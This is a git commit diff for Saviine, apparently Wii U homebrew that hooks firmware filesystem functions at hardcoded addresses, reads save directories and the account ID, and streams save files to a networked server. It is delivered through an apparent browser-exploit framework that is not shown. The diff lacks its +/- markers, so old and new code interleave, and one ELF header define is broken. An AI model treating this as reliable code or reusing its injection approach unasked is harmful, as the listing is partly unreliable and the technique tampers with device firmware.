New entry and elf loader

- Now excecuted on FSAddClientEX
- getting the persistentID from the system instead of guessing
- cleaner log files
- improved the installer (thanks to dimok for the loadiine code)
- loading saviine as elf (thanks to dimok for the loadiine code)
- should support more games
This commit is contained in:
Maschell 2015-10-18 20:33:08 +02:00
parent a25fcc1e39
commit 3939be8263
17 changed files with 1486 additions and 934 deletions

3
README
View File

@ -1,4 +1,4 @@
Saviine 0.2
Saviine 0.3
Compatible with 5.3.2 fw
@ -7,6 +7,7 @@ dumps WiiU Saves and is a mod of cafiine. Thanks to everyone who worked on cafii
Compilation :
- in order to compile saviine you need to put the saviine folder in your libwiiu project
- libwiiu/saviine/installer must be compiled like the other libwiiu examples (with the build.py script)
- copy the saviine532.elf from the saviine/installer/bin to the www folder
Pre-made version :
- in www/saviine, it is already compiled, just put the folder in your server

View File

@ -33,25 +33,37 @@ CFLAGS := -O2 -Wall -x c -std=gnu99 \
SRC := $(wildcard *.S) $(wildcard *.c)
OBJ := $(patsubst %.S,%.o,$(patsubst %.c,%.o,$(SRC)))
all: ../installer/saviine532.h
../installer/saviine%.h: saviine%.text.bin saviine%.magic.bin
xxd -i saviine$*.magic.bin | sed "s/unsigned/static const unsigned/g;s/ine$*/ine/g" > $@
xxd -i saviine$*.text.bin | sed "s/unsigned/static const unsigned/g;s/ine$*/ine/g" >> $@
# Simulate an order only dependency
BUILD_REQ := $(filter-out $(wildcard build),build)
BIN_REQ := $(filter-out $(wildcard bin),bin)
saviine%.text.bin: saviine%.elf
all: build/saviine532.elf copy
../installer/saviine%.h: build/saviine%.text.bin build/saviine%.magic.bin $(BIN_REQ)
xxd -i build/saviine$*.magic.bin | sed "s/unsigned/static const unsigned/g;s/saviine$*/saviine/g" > $@
xxd -i build/saviine$*.text.bin | sed "s/unsigned/static const unsigned/g;s/saviine$*/saviine/g" >> $@
build/saviine%.text.bin: build/saviine%.elf $(BUILD_REQ)
$(OBJCOPY) -j .text -O binary $< $@
saviine%.magic.bin: saviine%.elf
build/saviine%.magic.bin: build/saviine%.elf $(BUILD_REQ)
$(OBJCOPY) -j .magic -O binary $< $@
saviine%.elf: saviine%.ld $(OBJ)
$(LD) -T $< $(OBJ)
build/saviine%.elf: saviine%.ld $(OBJ) $(BUILD_REQ)
$(LD) -o $@ -T $< $(OBJ) -s -L"$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2" -lgcc
%.o: %.c
build/%.o: %.c $(BUILD_REQ)
$(CC) -c $(CFLAGS) -o $@ $+
%.o: %.S
build/%.o: %.S $(BUILD_REQ)
$(AS) $(SFLAGS) -o $@ $+
clean:
rm -f $(wildcard *.o) $(wildcard *.elf) $(wildcard ../installer/saviine532.h)
bin:
mkdir $@
build:
mkdir $@
copy:
cp build/saviine532.elf ../installer/bin/
clean:
rm -rf $(wildcard build) $(wildcard bin) $(wildcard ../installer/saviine532.h)

View File

@ -1,5 +1,5 @@
#include "main.h"
#include "../common/fs_defs.h"
#define DECL(res, name, ...) \
extern res name(__VA_ARGS__); \
res (* real_ ## name)(__VA_ARGS__) __attribute__((section(".magicptr"))); \
@ -19,14 +19,13 @@ extern void OSDynLoad_Acquire (char* rpl, unsigned int *handle);
extern void OSDynLoad_FindExport (unsigned int handle, int isdata, char *symbol, void *address);
void GX2WaitForVsync(void);
static void dump_saves(void *pClient, void *pCmd,int error, int client);
// Async
typedef void (*FSAsyncCallback)(void *pClient, void *pCmd, int result, void *context);
typedef struct
{
FSAsyncCallback userCallback;
void *userContext;
void *ioMsgQueue;
} FSAsyncParams;
static int strlen(char* path) {
int i = 0;
while (path[i++])
;
return i;
}
DECL(int, FSAInit, void) {
if ((int)bss_ptr == 0x0a000000) {
@ -38,16 +37,18 @@ DECL(int, FSAInit, void) {
DECL(int, FSAShutdown, void) {
return real_FSAShutdown();
}
DECL(int, FSAAddClient, void *r3) {
DECL(int, FSAAddClient, void *r3) {
int res = real_FSAAddClient(r3);
if ((int)bss_ptr != 0x0a000000 && res < MAX_CLIENT && res >= 0) {
cafiine_connect(&bss.socket_fsa[res]);
}
return res;
}
DECL(int, FSADelClient, int client) {
if ((int)bss_ptr != 0x0a000000 && client < MAX_CLIENT && client >= 0) {
cafiine_disconnect(bss.socket_fsa[client]);
}
@ -79,54 +80,98 @@ static int client_num(void *pClient) {
return -1;
}
DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error) {
DECL(int, FSInit, void) {
if ((int)bss_ptr == 0x0a000000) {
bss_ptr = memalign(sizeof(struct bss_t), 0x40);
memset(bss_ptr, 0, sizeof(struct bss_t));
}
return real_FSInit();
}
DECL(int, FSShutdown, void) {
return real_FSShutdown();
}
DECL(int, FSDelClient, void *pClient) {
if ((int)bss_ptr != 0x0a000000) {
int client = client_num(pClient);
if (client < MAX_CLIENT && client >= 0) {
if(bss.savesDumped == 0){
dump_saves(pClient,pCmd,error,client);
bss.savesDumped = 1;
}
cafiine_disconnect(bss.socket_fs[client]);
clietn_num_free(client);
}
}
return real_FSOpenFile(pClient, pCmd, path, mode, handle, error);
return real_FSDelClient(pClient);
}
DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) {
int res = real_FSAddClientEx(r3, r4, r5);
if(bss.saveFolderChecked == 1) return res;
if ((int)bss_ptr != 0x0a000000 && res >= 0) {
//int client = client_num_alloc(r3);
//if (client < MAX_CLIENT && client >= 0) {
// create game save path
if(bss.saveFolderChecked < 2){
bss.saveFolderChecked = 1;
// Create client and cmd block
FSClient* pClient = (FSClient*)malloc(sizeof(FSClient));
FSCmdBlock* pCmd = (FSCmdBlock*)malloc(sizeof(FSCmdBlock));
if (pClient && pCmd)
{
// Add client to FS.
FSAddClient(pClient, FS_RET_NO_ERROR);
int client = client_num_alloc(pClient);
if(client < MAX_CLIENT && client >= 0) {
cafiine_connect(&bss.socket_fs[client]);
}else{
goto error;
}
// Init command block.
FSInitCmdBlock(pCmd);
dump_saves(pClient, pCmd,-1, client);
bss.saveFolderChecked = 2;
error:
real_FSDelClient(pClient);
free(pClient);
free(pCmd);
}
}
//cafiine_connect(&bss.socket_fs[client]);
//}
}
return res;
}
static void init_Save(){
int (*SAVEInit)();
unsigned int save_handle;
char buffer[50];
int i = 0;
buffer[i++] = 'n';
buffer[i++] = 'n';
buffer[i++] = '_';
buffer[i++] = 's';
buffer[i++] = 'a';
buffer[i++] = 'v';
buffer[i++] = 'e';
buffer[i++] = '.';
buffer[i++] = 'r';
buffer[i++] = 'p';
buffer[i++] = 'l';
buffer[i++] = '\0';
OSDynLoad_Acquire(buffer, &save_handle);
i = 0;
buffer[i++] = 'S';
buffer[i++] = 'A';
buffer[i++] = 'V';
buffer[i++] = 'E';
buffer[i++] = 'I';
buffer[i++] = 'n';
buffer[i++] = 'i';
buffer[i++] = 't';
buffer[i++] = '\0';
OSDynLoad_FindExport(save_handle, 0, buffer, &SAVEInit);
unsigned int save_handle;
OSDynLoad_Acquire("nn_save.rpl", &save_handle);
OSDynLoad_FindExport(save_handle, 0, "SAVEInit", &SAVEInit);
SAVEInit();
}
static long getPesistentID(){
unsigned int nn_act_handle;
unsigned long (*GetPersistentIdEx)(unsigned char);
int (*GetSlotNo)(void);
void (*nn_Initialize)(void);
void (*nn_Finalize)(void);
OSDynLoad_Acquire("nn_act.rpl", &nn_act_handle);
OSDynLoad_FindExport(nn_act_handle, 0, "GetPersistentIdEx__Q2_2nn3actFUc", &GetPersistentIdEx);
OSDynLoad_FindExport(nn_act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &GetSlotNo);
OSDynLoad_FindExport(nn_act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_Initialize);
OSDynLoad_FindExport(nn_act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_Finalize);
nn_Initialize(); // To be sure that it is really Initialized
unsigned char slotno = GetSlotNo();
long idlong = GetPersistentIdEx(slotno);
nn_Finalize(); //must be called an equal number of times to nn_Initialize
return idlong;
}
#define DUMP_BLOCK_SIZE (0x200 * 100)
#define DUMP_BLOCK_SIZE_SLOW (0x20 * 100)
static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error, int handle){
@ -134,11 +179,11 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
int my_handle = handle +1;
int ret = 0;
if ((ret = FSOpenDir(pClient, pCmd, path, &dir_handle, FS_RET_ALL_ERROR)) == FS_STATUS_OK)
{
char new_mode[2];
new_mode[0] = 'r';
new_mode[1] = '\0';
{
char buffer[strlen(path) + 25];
__os_snprintf(buffer, sizeof(buffer), "open dir %s",path);
log_string(bss.socket_fsa[client], buffer, BYTE_LOG_STR);
FSDirEntry dir_entry;
while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK)
{
@ -155,30 +200,20 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
}
full_path[i++] = '\0';
log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR);
if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){
char type[4];
type[0] = 'd';
type[1] = 'i';
type[2] = 'r';
type[3] = '\0';
log_string(bss.socket_fsa[client], type, BYTE_LOG_STR);
if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){
log_string(bss.socket_fsa[client], "-> dir", BYTE_LOG_STR);
dump_dir(pClient,client, pCmd,full_path,-1,my_handle);
}else{
char type[5];
type[0] = 'f';
type[1] = 'i';
type[2] = 'l';
type[3] = 'e';
type[4] = '\0';
log_string(bss.socket_fsa[client], type, BYTE_LOG_STR);
}else{
//DUMP
ret = real_FSOpenFile(pClient, pCmd, full_path, new_mode, &my_handle, FS_RET_ALL_ERROR);
ret = FSOpenFile(pClient, pCmd, full_path, "r", &my_handle, FS_RET_ALL_ERROR);
if (ret >= 0) {
__os_snprintf(buffer, sizeof(buffer), "dumping %s",dir_entry.name);
log_string(bss.socket_fsa[client], buffer, BYTE_LOG_STR);
int my_ret = cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle);
log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR);
int size = (my_ret == 1 ? DUMP_BLOCK_SIZE : DUMP_BLOCK_SIZE_SLOW);
void * buffer = memalign(sizeof(char) * size, 0x40);
@ -190,8 +225,9 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
free(buffer);
FSCloseFile(pClient, pCmd, my_handle, -1);
}else{
char type[2];
type[0] = '9' + ret;
type[1] = '0';
type[1] = '\0';
log_string(bss.socket_fsa[client], type, BYTE_LOG_STR);
}
}
@ -204,128 +240,20 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
static void dump_saves(void *pClient, void *pCmd,int error, int client){
init_Save();
int i = 0;
char save_path[255];
char save_user[9];
char save_base[11];
char save_common[7];
long id = getPesistentID();
save_base[i++] = '/';
save_base[i++] = 'v';
save_base[i++] = 'o';
save_base[i++] = 'l';
save_base[i++] = '/';
save_base[i++] = 's';
save_base[i++] = 'a';
save_base[i++] = 'v';
save_base[i++] = 'e';
save_base[i++] = '/';
save_base[i++] = '\0';
i = 0;
log_string(bss.socket_fsa[client], "dumping user savedata", BYTE_LOG_STR);
save_user[i++] = '8';
save_user[i++] = '0';
save_user[i++] = '0';
save_user[i++] = '0';
save_user[i++] = '0';
save_user[i++] = '0';
save_user[i++] = '0';
save_user[i++] = '0';
save_user[i++] = '\0';
i = 0;
save_common[i++] = 'c';
save_common[i++] = 'o';
save_common[i++] = 'm';
save_common[i++] = 'm';
save_common[i++] = 'o';
save_common[i++] = 'n';
save_common[i++] = '\0';
i = 0;
char *save_base_ptr = (char *)save_base;
while(*save_base_ptr) {
save_path[i++] = *save_base_ptr++;
if(id >= 0x80000000 && id <= 0x90000000){
char savepath[20];
__os_snprintf(savepath, sizeof(savepath), "/vol/save/%08x",id);
dump_dir(pClient,client,pCmd,savepath,-1,50);
}
int k = i;
char *save_user_ptr = (char *)save_user;
while(*save_user_ptr) {
save_path[i++] = *save_user_ptr++;
}
save_path[i++] = '\0';
int id = 1;
do{
//log_string(bss.socket_fsa[client], save_path, BYTE_LOG_STR);
if (dump_dir(pClient,client,pCmd,save_path,-1,50) == 0);// id = 257; // break if successful
int first = id/16;
int seconds = id%16;
if(first <= 9)
save_path[16] = '0' + first;
else
save_path[16] = 'a' + (first - 10);
if(seconds <= 9)
save_path[17] = '0' + seconds;
else
save_path[17] = 'a' + (seconds - 10);
log_string(bss.socket_fsa[client], "dumping common savedata", BYTE_LOG_STR);
dump_dir(pClient,client,pCmd,"/vol/save/common/",error,60);
id++;
}while(id < 257);
i = k;
char *save_common_ptr = (char *)save_common;
while(*save_common_ptr) {
save_path[i++] = *save_common_ptr++;
}
save_path[i++] = '\0';
log_string(bss.socket_fsa[client], save_path, BYTE_LOG_STR);
dump_dir(pClient,client,pCmd,save_path,error,60);
i = 0;
char info[6];
info[i++] = 'd';
info[i++] = 'o';
info[i++] = 'n';
info[i++] = 'e';
info[i++] = '!';
info[i++] = '\0';
log_string(bss.socket_fsa[client], info, BYTE_LOG_STR);
}
DECL(int, FSInit, void) {
if ((int)bss_ptr == 0x0a000000) {
bss_ptr = memalign(sizeof(struct bss_t), 0x40);
memset(bss_ptr, 0, sizeof(struct bss_t));
}
return real_FSInit();
}
DECL(int, FSShutdown, void) {
return real_FSShutdown();
}
DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) {
int res = real_FSAddClientEx(r3, r4, r5);
if ((int)bss_ptr != 0x0a000000 && res >= 0) {
int client = client_num_alloc(r3);
if (client < MAX_CLIENT && client >= 0) {
cafiine_connect(&bss.socket_fs[client]);
}
}
return res;
}
DECL(int, FSDelClient, void *pClient) {
if ((int)bss_ptr != 0x0a000000) {
int client = client_num(pClient);
if (client < MAX_CLIENT && client >= 0) {
cafiine_disconnect(bss.socket_fs[client]);
clietn_num_free(client);
}
}
return real_FSDelClient(pClient);
log_string(bss.socket_fsa[client], "done!", BYTE_LOG_STR);
}
#define MAKE_MAGIC(x) { x, my_ ## x, &real_ ## x }
@ -339,7 +267,6 @@ struct magic_t {
MAKE_MAGIC(FSAShutdown),
MAKE_MAGIC(FSAAddClient),
MAKE_MAGIC(FSADelClient),
MAKE_MAGIC(FSOpenFile),
MAKE_MAGIC(FSInit),
MAKE_MAGIC(FSShutdown),
MAKE_MAGIC(FSAddClientEx),

View File

@ -1,4 +1,5 @@
/* string.h */
#include "../common/fs_defs.h"
#define NULL ((void *)0)
void *memcpy(void *dst, const void *src, int bytes);
@ -6,22 +7,29 @@ void *memset(void *dst, int val, int bytes);
/* malloc.h */
extern void *(* const MEMAllocFromDefaultHeapEx)(int size, int align);
extern void *(* const MEMAllocFromDefaultHeap)(int size);
extern void *(* const MEMFreeToDefaultHeap)(void *ptr);
#define memalign (*MEMAllocFromDefaultHeapEx)
#define malloc (*MEMAllocFromDefaultHeap)
#define free (*MEMFreeToDefaultHeap)
/* socket.h */
#define AF_INET 2
#define SOCK_STREAM 1
#define IPPROTO_TCP 6
/* FS Functions */
extern FSStatus FSAddClient(FSClient *pClient, FSRetFlag errHandling);
extern void FSInitCmdBlock(FSCmdBlock *pCmd);
extern FSStatus FSCloseDir(FSClient *pClient, FSCmdBlock *pCmd, int dh, FSRetFlag errHandling);
extern FSStatus FSOpenFile(FSClient *pClient, FSCmdBlock *pCmd, char *path,char *mode,int *dh,FSRetFlag errHandling);
extern void socket_lib_init();
extern int socket(int domain, int type, int protocol);
extern int socketclose(int socket);
extern int connect(int socket, void *addr, int addrlen);
extern int send(int socket, const void *buffer, int size, int flags);
extern int recv(int socket, void *buffer, int size, int flags);
extern int __os_snprintf(char* s, int n, const char * format, ...);
struct in_addr {
unsigned int s_addr;
@ -45,7 +53,7 @@ struct bss_t {
void *pClient_fs[MAX_CLIENT];
int socket_fs[MAX_CLIENT];
char save_path[255];
volatile int savesDumped;
volatile int saveFolderChecked;
volatile int lock;
};

View File

@ -1,16 +1,19 @@
OUTPUT(saviine532.elf);
SECTIONS {
.text 0x011de000 : {
.text 0x011e0000 : {
server_ip = .;
. = . + 4;
*(.text._start);
*(.text*);
*(.magicptr*);
}
}
.magic : {
*(.magic*);
}
.rodata : {
*(.rodata*);
}
/DISCARD/ : {
*(*);
}
@ -27,9 +30,11 @@ PROVIDE(FSAOpenFile = 0x10621f8);
PROVIDE(FSInit = 0x10683c8);
PROVIDE(FSShutdown = 0x1068538);
PROVIDE(FSAddClientEx = 0x10685fc);
PROVIDE(FSAddClient = 0x010689fc);
PROVIDE(FSDelClient = 0x1068a08);
PROVIDE(FSOpenFile = 0x106ef7c);
PROVIDE(FSOpenFileAsync = 0x0106a434);
PROVIDE(FSInitCmdBlock = 0x01068c54);
PROVIDE(FSCloseFile = 0x106f088);
PROVIDE(FSReadFile = 0x106f108);
@ -67,10 +72,14 @@ PROVIDE(memcpy = 0x1035a68);
PROVIDE(memset = 0x1035a54);
PROVIDE(MEMAllocFromDefaultHeapEx = 0x1004e9c0);
PROVIDE(MEMFreeToDefaultHeap = 0x100b487c);
PROVIDE(MEMAllocFromDefaultHeapEx = 0x1004e9c0);
PROVIDE(MEMAllocFromDefaultHeap = 0x100b4878);
PROVIDE(MEMFreeToDefaultHeap = 0x100b487c);
/* OS data */
PROVIDE(title_id = 0x100136D0);
/* Libs */
/* OS methods */
PROVIDE(__os_snprintf = 0x102f09c);
PROVIDE(OSDynLoad_FindExport = 0x102b790);
PROVIDE(OSDynLoad_Acquire = 0x102a31c);

View File

@ -23,7 +23,9 @@ main532:
cp -r $(root)/*.o $(build)
rm $(root)/*.o
#$(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/saviine.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "saviine.o"`
$(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/saviine.o `find $(build) -name "*.o" ! -name "saviine.o"`
$(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/saviine.o `find $(build) -name "*.o" ! -name "saviine.o"` -L"$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2" -lgcc
clean:
make -C ../client/ clean
rm -rf $(build)/*

591
saviine/installer/elf_abi.h Normal file
View File

@ -0,0 +1,591 @@
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
